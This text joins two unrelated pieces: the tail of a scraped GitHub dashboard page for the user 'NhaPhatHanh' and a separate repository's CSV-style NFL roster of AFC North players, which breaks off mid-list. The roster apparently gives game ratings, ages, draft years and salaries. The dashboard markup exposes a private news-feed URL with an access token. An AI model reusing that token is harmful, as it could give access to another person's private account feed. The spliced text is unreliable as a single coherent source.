0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> </div> <div class="mb-4 js-repos-container user-repos" id="dashboard-user-teams-repos" data-pjax-container> <h2 class="f4 text-normal mb-1">Your teams</h2> <div class="Box px-2 py-1"> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </div> <h2 class="f4 text-normal d-none js-all-activity-header">All activity</h2> <div class="js-dashboard-deferred" data-src="/dashboard-feed" data-priority="0"> <div class="Box text-center p-3 mb-4 mt-2 js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading activity...</p> </div> <div class="error-message"> <p class="color-text-secondary my-2 mb-2">There was an error in loading the activity feed. <a href="/" aria-label="Reload this page">Reload this page</a>.</p> </div> </div> </div> <div class="f6 color-text-secondary mt-4"> <svg class="octicon octicon-light-bulb color-text-secondary" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-2.363 0-4 1.69-4 3.75 0 .984.424 1.625.984 2.304l.214.253c.223.264.47.556.673.848.284.411.537.896.621 1.49a.75.75 0 01-1.484.211c-.04-.282-.163-.547-.37-.847a8.695 8.695 0 00-.542-.68c-.084-.1-.173-.205-.268-.32C3.201 7.75 2.5 6.766 2.5 5.25 2.5 2.31 4.863 0 8 0s5.5 2.31 5.5 5.25c0 1.516-.701 2.5-1.328 3.259-.095.115-.184.22-.268.319-.207.245-.383.453-.541.681-.208.3-.33.565-.37.847a.75.75 0 01-1.485-.212c.084-.593.337-1.078.621-1.489.203-.292.45-.584.673-.848.075-.088.147-.173.213-.253.561-.679.985-1.32.985-2.304 0-2.06-1.637-3.75-4-3.75zM6 15.25a.75.75 0 01.75-.75h2.5a.75.75 0 010 1.5h-2.5a.75.75 0 01-.75-.75zM5.75 12a.75.75 0 000 1.5h4.5a.75.75 0 000-1.5h-4.5z"></path></svg> <strong>ProTip!</strong> The feed shows you events from people you <a href="/NhaPhatHanh?tab=following">follow</a> and repositories you <a href="/watching">watch</a>. <br> <a class="f6 Link--secondary mb-2 mt-2 d-inline-block" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" data-ga-click="Dashboard, click, News feed atom/RSSlink- context:user"><svg class="octicon octicon-rss mr-1" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.002 2.725a.75.75 0 01.797-.699C8.79 2.42 13.58 7.21 13.974 13.201a.75.75 0 11-1.497.098 10.502 10.502 0 00-9.776-9.776.75.75 0 01-.7-.798zM2 13a1 1 0 112 0 1 1 0 01-2 0zm.84-5.95a.75.75 0 00-.179 1.489c2.509.3 4.5 2.291 4.8 4.8a.75.75 0 101.49-.178A7.003 7.003 0 002.838 7.05z"></path></svg>Subscribe to your news feed</a> </div> </div> </div> </div> </main> <div class="d-flex flex-items-between footer container-lg my-5 px-0" role="contentinfo"> <div class="col-lg-4 list-style-none mr-lg-5"> <a title="Home page" class="d-none d-lg-flex footer-octicon footer-octicon no-underline" href="https://github.com"> <div> <svg height="24" class="octicon octicon-mark-github d-block mr-2 float-left" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </div> <div> <span class="f6 color-text-tertiary"> © 2021 GitHub, Inc. </span> </div> </a> </div> <div class="d-flex flex-justify-start flex-row flex-auto"> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li class="mb-1"><a class="Link--secondary" data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> <li class="mb-1"><a class="Link--secondary" href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li class="mb-1"><a href="https://support.github.com" data-ga-click="Footer, go to contact, text:contact" class="Link--secondary">Contact GitHub</a></li> <li class="mb-1"><a href="/pricing" data-ga-click="Footer, go to Pricing, text:Pricing" class="Link--secondary">Pricing</a></li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"><a class="Link--secondary" href="https://docs.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mb-1"><a class="Link--secondary" href="https://services.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mb-1"> <a class="Link--secondary" href="https://www.githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/articles/github-security/" data-ga-click="Footer, go to security, text:security">Security</a> </li> </ul> <ul class="col-4 col-sm-4 col-lg-4 col-xl-3 list-style-none f6 color-text-secondary pl-lg-4"> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-ga-click="Footer, go to terms, text:terms">Terms</a> </li> <li class="mb-1"> <a class="Link--secondary" href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a> </li> <li class="mb-1"> <a class="Link--secondary" data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a> </li> </ul> </div> </div> </div> </div> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-text-primary hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> </body> </html>
GitHub Repo
https://github.com/FrozenFlame97/NFL-Roster01
FrozenFlame97/NFL-Roster01
Baltimore Ravens,BAL QB,Ryan Mallett,28,2011,84,63,85,97,79,20,0.8,2 QB,Joe Flacco,31,2008,86,86,97,97,87,55,22.1,3 QB,Josh Johnson,30,2008,73,65,92,87,73,63,0.6,1 RB,Lorenzo Taliaferro,24,2014,77,57,91,89,86,65,0.6,4 RB,Terrance West,25,2014,82,68,91,66,87,78,0.6,1 RB,Trent Richardson,25,2012,101,74,95,80,87,62,0.7,1 RB,Justin Forsett,30,2008,61,83,88,63,86,93,3,3 RB,Javorius Allen,24,2015,78,52,89,82,88,67,0.7,4 RB,Kyle Juszczyk,25,2013,76,73,93,82,81,57,0.6,4 WR,Kaelin Clay,24,2015,73,57,81,73,91,87,0.5,1 WR,Steve Smith Sr,37,2001,74,96,88,90,83,87,3.5,3 WR,Michael Campanaro,25,2014,72,65,87,81,90,82,0.6,4 WR,Darren Waller,23,2015,73,47,91,76,90,53,0.6,4 WR,Breshad Perriman,22,2015,88,53,89,77,97,82,2.2,4 WR,Dennis Pitta,30,2010,78,81,68,88,80,54,6.4,5 WR,Maxx Williams,22,2015,88,51,87,83,80,68,1,4 WR,Benjamin Watson,35,2004,77,82,85,72,79,60,3.5,2 WR,Kamar Aiken,27,2011,61,73,92,79,88,75,2.6,1 WR,Mike Wallace,29,2009,77,84,92,88,92,86,5.8,2 OL,Ryan Jensen,25,2013,72,52,92,90,83,76,0.6,1 OL,Marshal Yanda,31,2007,75,90,93,94,99,90,8,4 OL,Vladimir Ducasse,28,2010,83,73,89,92,81,68,0.5,1 OL,Ronnie Stanley,22,2016,105,78,85,87,91,89,5.1,4 OL,James Hurst,24,2014,62,71,87,78,77,69,0.5,3 OL,Jeremy Zuttah,30,2008,76,83,93,86,92,73,4.1,3 OL,John Urschel,24,2014,72,75,95,87,77,84,0.6,4 OL,Eugene Monroe,29,2009,97,87,90,89,75,90,7.5,5 K,Sam Koch,33,2006,64,88,85,91,87,79,3.3,5 K,Justin Tucker,26,2012,60,85,95,98,95,74,4.6,1 S,Terrence Brooks,25,2014,82,52,83,76,91,79,0.7,4 S,Kendrick Lewis,30,2010,73,78,81,78,86,86,1.8,3 S,Matt Elam,24,2013,86,63,89,65,89,90,1.7,4 S,Eric Weddle,31,2007,80,92,95,91,93,77,6.5,4 CB,Jerraud Powers,28,2009,77,82,90,86,90,50,1.8,1 CB,Will Davis,26,2013,81,66,85,75,90,46,0.7,4 CB,Lardarius Webb,30,2009,77,83,88,80,91,60,5.4,3 CB,Jimmy Smith,27,2011,84,79,88,90,90,70,10.3,4 CB,Kyle Arrington,29,2008,57,82,88,84,88,47,2.3,3 CB,Jumal Rolle,26,2013,62,63,91,75,91,45,0.6,1 CB,Shareece Wright,29,2011,79,74,85,70,88,62,4.3,3 CB,Anthony Levine,29,2010,60,70,88,79,89,67,1.1,2 CB,Sheldon Price,25,2013,64,53,82,69,87,39,0.5,1 DL,Brent Urban,25,2014,77,50,74,79,76,86,0.6,4 DL,Carl Davis,24,2015,83,53,84,88,78,87,0.7,4 DL,Lawrence Guy,26,2011,64,72,92,84,82,78,1.2,2 DL,Kapron Lewis-Moore,26,2013,71,55,74,89,82,88,0.6,4 DL,Timmy Jernigan,23,2014,87,70,90,84,83,86,1.1,4 DL,CJ Mosley,24,2014,92,79,88,85,84,78,2.2,4 LB,Elvis Dumervil,32,2006,69,92,83,75,85,93,5.2,5 LB,Za'Darius Smith,23,2015,83,53,88,80,80,59,0.7,4 LB,Chris Carter,27,2011,74,69,85,76,59,72,1,1 LB,Arthur Brown,26,2013,86,62,92,87,63,72,0.9,4 LB,Terrell Suggs,33,2003,81,94,88,92,97,87,5.2,4 LB,Albert McClellan,30,2010,59,71,91,79,85,70,1.3,3 END_PLAYERS Cincinnati Bengals,CIN QB,Andy Dalton,28,2011,84,81,96,86,79,20,16,6 QB,AJ McCarron,25,2014,78,65,94,84,75,44,0.6,4 RB,Giovani Bernard,24,2013,86,77,84,56,87,87,5.2,3 RB,Jeremy Hill,23,2014,87,78,94,95,88,79,0.9,4 RB,Rex Burkhead,25,2013,71,68,87,59,80,76,0.6,4 RB,Cedric Peerman,29,2009,68,70,84,52,90,79,1.1,2 WR,AJ Green,27,2011,99,87,95,104,87,84,15,4 WR,Brandon Tate,28,2009,77,78,79,72,88,86,1,1 WR,James Wright,24,2014,67,64,92,77,90,76,0.6,4 WR,Brandon LaFell,29,2010,78,83,94,88,84,65,2.5,1 WR,Mario Alford,25,2015,68,52,91,76,97,85,0.6,4 WR,Tyler Eifert,25,2013,91,62,90,85,82,54,2.1,4 OL,Cedric Ogbuehi,24,2015,93,65,74,82,81,85,2.3,4 OL,Clint Boling,27,2011,79,83,97,82,90,80,5.2,5 OL,Andrew Whitworth,34,2006,79,96,90,94,89,98,9,1 OL,Eric Winston,32,2006,80,84,89,82,74,72,1.1,1 OL,Trey Hopkins,23,2014,63,54,91,87,82,74,0.5,2 OL,Russell Bodine,23,2014,82,75,93,97,82,74,0.7,4 OL,TJ Johnson,25,2013,67,65,92,86,76,75,0.6,1 OL,Jake Fisher,23,2015,88,60,83,77,75,87,1.1,4 OL,Kevin Zeitler,26,2012,85,83,79,91,92,85,1.9,4 K,Zach Hocker,24,2014,68,56,95,90,80,70,0.6,2 K,Mike Nugent,34,2005,78,77,90,91,83,62,1.8,2 K,Kevin Huber,30,2009,72,83,95,88,90,70,2.8,5 S,George Iloka,26,2012,75,78,95,93,88,84,6,5 S,Derron Smith,24,2015,73,55,81,81,90,75,0.6,4 S,Shawn Williams,25,2013,81,52,94,72,92,85,5,4 CB,William Jackson III,23,2016,95,65,85,81,90,70,2.4,4 CB,Josh Shaw,24,2015,83,42,78,79,92,50,0.7,4 CB,Dre Kirkpatrick,26,2012,90,70,85,87,91,73,2.2,4 CB,Adam Jones,32,2005,95,84,88,82,92,50,7.3,3 CB,Leon Hall,31,2007,65,90,87,87,92,62,9.8,4 CB,Darqueze Dennard,24,2014,92,61,87,75,90,65,2,4 CB,Chykie Brown,29,2011,75,72,83,76,90,45,0.8,1 CB,Chris Lewis-Harris,27,2012,61,67,92,77,87,55,0.6,2 DL,Marcus Hardison,24,2015,78,42,87,82,66,67,0.7,4 DL,Michael Bennett,24,2015,64,54,87,77,67,71,0.5,2 DL,Domata Peko,31,2006,74,87,92,87,69,72,4.5,2 DL,Pat Sims,30,2008,76,76,87,89,77,78,1.2,2 DL,Will Clarke,25,2014,82,54,87,76,78,76,0.7,4 DL,Carlos Dunlap,27,2010,83,81,86,79,67,72,7.9,5 DL,Michael Johnson,29,2009,82,79,88,73,64,69,5,4 DL,Geno Atkins,28,2010,78,87,85,99,93,82,10.7,5 DL,Brandon Thompson,26,2012,80,62,90,91,78,72,0.8,1 DL,Margus Hunt,28,2013,87,60,85,88,80,74,0.9,4 LB,Rey Maualuga,29,2009,82,88,89,87,75,84,5,3 LB,Vontaze Burfict,25,2012,60,78,96,90,82,86,4.8,4 LB,Jayson Dimanche,25,2013,62,65,91,74,62,64,0.7,2 LB,Vincent Rey,28,2010,59,75,93,87,59,78,3.5,3 LB,Karlos Dansby,34,2004,77,94,89,93,72,97,2,1 LB,Marquis Flowers,24,2014,72,62,91,69,57,65,0.6,4 END_PLAYERS Cleveland Browns,CLE QB,Austin Davis,27,2012,60,65,92,85,79,49,2,2 QB,Connor Shaw,24,2014,63,51,83,80,76,71,0.5,3 QB,Robert Griffin III,26,2012,100,68,77,92,70,74,7.5,2 QB,Josh McCown,36,2002,72,75,75,83,71,27,4.7,3 RB,Glenn Winston,27,2014,62,40,85,85,81,57,0.5,3 RB,Duke Johnson,22,2015,83,60,76,53,90,87,0.8,4 RB,Isaiah Crowell,23,2014,62,63,93,86,86,63,0.5,3 RB,Malcolm Johnson,23,2015,73,46,91,70,83,60,0.6,4 WR,Rannell Hall,24,2015,64,52,85,70,87,77,0.5,2 WR,Corey Coleman,21,2016,95,75,85,87,96,85,2.9,4 WR,Andrew Hawkins,30,2011,59,83,88,88,90,95,3.4,4 WR,Gary Barnidge,30,2008,71,76,76,93,81,25,4.1,3 WR,Taylor Gabriel,25,2014,62,74,87,82,92,87,0.5,3 WR,Marlon Moore,28,2010,58,71,92,76,86,71,1,3 WR,Terrelle Pryor,27,2011,81,51,90,70,89,82,1.7,1 OL,Cameron Erving,23,2015,93,58,93,84,82,85,2.4,4 OL,John Greco,31,2008,81,82,94,83,93,82,1.6,4 OL,Garth Gerhart,27,2012,63,66,81,85,77,74,0.5,1 OL,Austin Pasztor,25,2012,61,76,95,79,80,74,1.7,1 OL,Michael Bowie,24,2013,66,67,89,82,85,72,0.6,4 OL,Joe Thomas,31,2007,95,92,98,94,90,96,11.5,7 OL,Joel Bitonio,24,2014,87,72,92,83,93,91,1.4,4 OL,Alvin Bailey,24,2013,61,70,92,90,87,78,2,3 K,Patrick Murray,24,2014,63,64,90,92,85,70,0.5,1 K,Andy Lee,33,2004,62,82,85,94,93,63,3.4,6 S,Jordan Poyer,25,2013,71,50,92,76,92,50,0.6,4 S,Don Jones,26,2013,66,61,91,70,92,85,1.7,1 S,Sean Baker,27,2012,63,56,93,68,86,73,0.5,1 S,Rahim Moore,26,2011,84,82,95,89,89,81,1.9,1 S,Ibraheim Campbell,24,2015,83,50,82,62,89,79,0.7,4 CB,Justin Gilbert,24,2014,102,68,95,82,91,45,3.2,4 CB,Tramon Williams,33,2006,55,89,93,85,91,44,7,3 CB,Charles Gaines,23,2015,73,47,87,76,91,35,0.6,4 CB,Pierre Desir,25,2014,77,48,93,83,92,47,0.7,4 CB,Joe Haden,27,2010,98,86,95,89,90,72,13.5,5 CB,Jamar Taylor,25,2013,86,50,85,77,94,74,0.9,4 DL,Desmond Bryant,30,2009,57,79,85,85,78,83,6.8,5 DL,Danny Shelton,22,2015,93,65,90,93,80,88,2.9,4 DL,Xavier Cooper,24,2015,83,46,92,81,77,61,0.7,4 DL,John Hughes,28,2012,80,75,91,85,71,85,3.2,4 LB,Paul Kruger,30,2009,82,87,94,85,82,87,8.1,5 LB,Barkevious Mingo,25,2013,101,74,90,85,79,74,4.1,4 LB,Nate Orchard,23,2015,88,65,92,64,67,70,1.1,4 LB,Armonty Bryant,26,2013,71,54,95,76,70,60,0.6,4 LB,Cam Johnson,26,2012,67,55,76,78,84,51,0.6,2 LB,Justin Tuggle,26,2013,61,72,92,81,68,75,0.7,1 LB,Tank Carder,27,2012,75,66,84,83,64,66,1.3,2 LB,Jackson Jeffcoat,24,2014,62,44,80,68,84,66,0.5,3 LB,Demario Davis,27,2012,80,78,91,92,67,78,4,2 END_PLAYERS Pittsburgh Steelers,PIT QB,Bruce Gradkowski,33,2006,64,74,87,78,75,35,1,1 QB,Ben Roethlisberger,34,2004,82,95,90,104,100,77,21.9,4 QB,Landry Jones,27,2013,81,53,95,92,77,20,0.6,4 RB,David Johnson,28,2009,62,53,90,78,89,66,0.8,1 RB,Fitzgerald Toussaint,26,2014,62,85,85,50,85,80,0.6,1 RB,Le'Veon Bell,24,2013,86,79,94,94,98,105,1,4 RB,Daryl Richardson,26,2012,67,66,85,47,88,82,0.6,1 RB,DeAngelo Williams,33,2006,79,87,88,44,85,81,2,2 WR,Markus Wheaton,25,2013,81,75,93,79,89,83,0.7,4 WR,Ladarius Green,26,2012,80,69,83,81,89,70,5,4 WR,Darrius Heyward-Bey,29,2009,97,74,86,71,92,74,1.3,3 WR,Sammie Coates,23,2015,83,48,88,76,91,65,0.7,4 WR,Martavis Bryant,24,2014,82,70,93,87,101,98,0.7,4 WR,Antonio Brown,27,2010,68,96,94,109,100,106,8.4,5 OL,Chris Hubbard,25,2013,62,61,91,77,73,81,0.6,1 OL,BJ Finney,24,2015,64,63,92,76,75,78,0.5,1 OL,Cody Wallace,31,2008,78,72,94,85,74,81,1.2,3 OL,Ryan Harris,31,2007,81,84,63,84,78,85,2,2 OL,Alejandro Villanueva,27,2014,63,50,88,77,71,76,0.5,2 OL,David DeCastro,26,2012,90,78,92,94,83,88,2,4 OL,Ramon Foster,30,2009,57,82,87,88,78,86,3.2,3 OL,Marcus Gilbert,28,2011,84,79,94,91,84,85,6.2,5 OL,Maurkice Pouncey,26,2010,88,80,92,91,91,89,8.8,5 K,Shaun Suisham,34,2005,53,77,88,87,96,67,3.2,3 K,Chris Boswell,25,2014,63,50,94,92,73,71,0.5,2 S,Mike Mitchell,29,2009,82,76,90,72,89,90,5,5 S,Shamarko Thomas,25,2013,81,55,85,76,93,90,0.7,4 S,Robert Golden,25,2012,60,59,92,71,88,66,1.7,3 S,Ross Ventrone,29,2010,61,66,88,65,89,65,0.6,2 S,Will Allen,33,2004,65,78,88,72,83,50,1.1,1 CB,Doran Grant,23,2015,83,55,92,83,93,64,0.5,2 CB,Senquez Golson,22,2015,88,61,88,85,92,42,1,4 CB,Artie Burns,21,2016,90,65,85,85,90,70,2.4,4 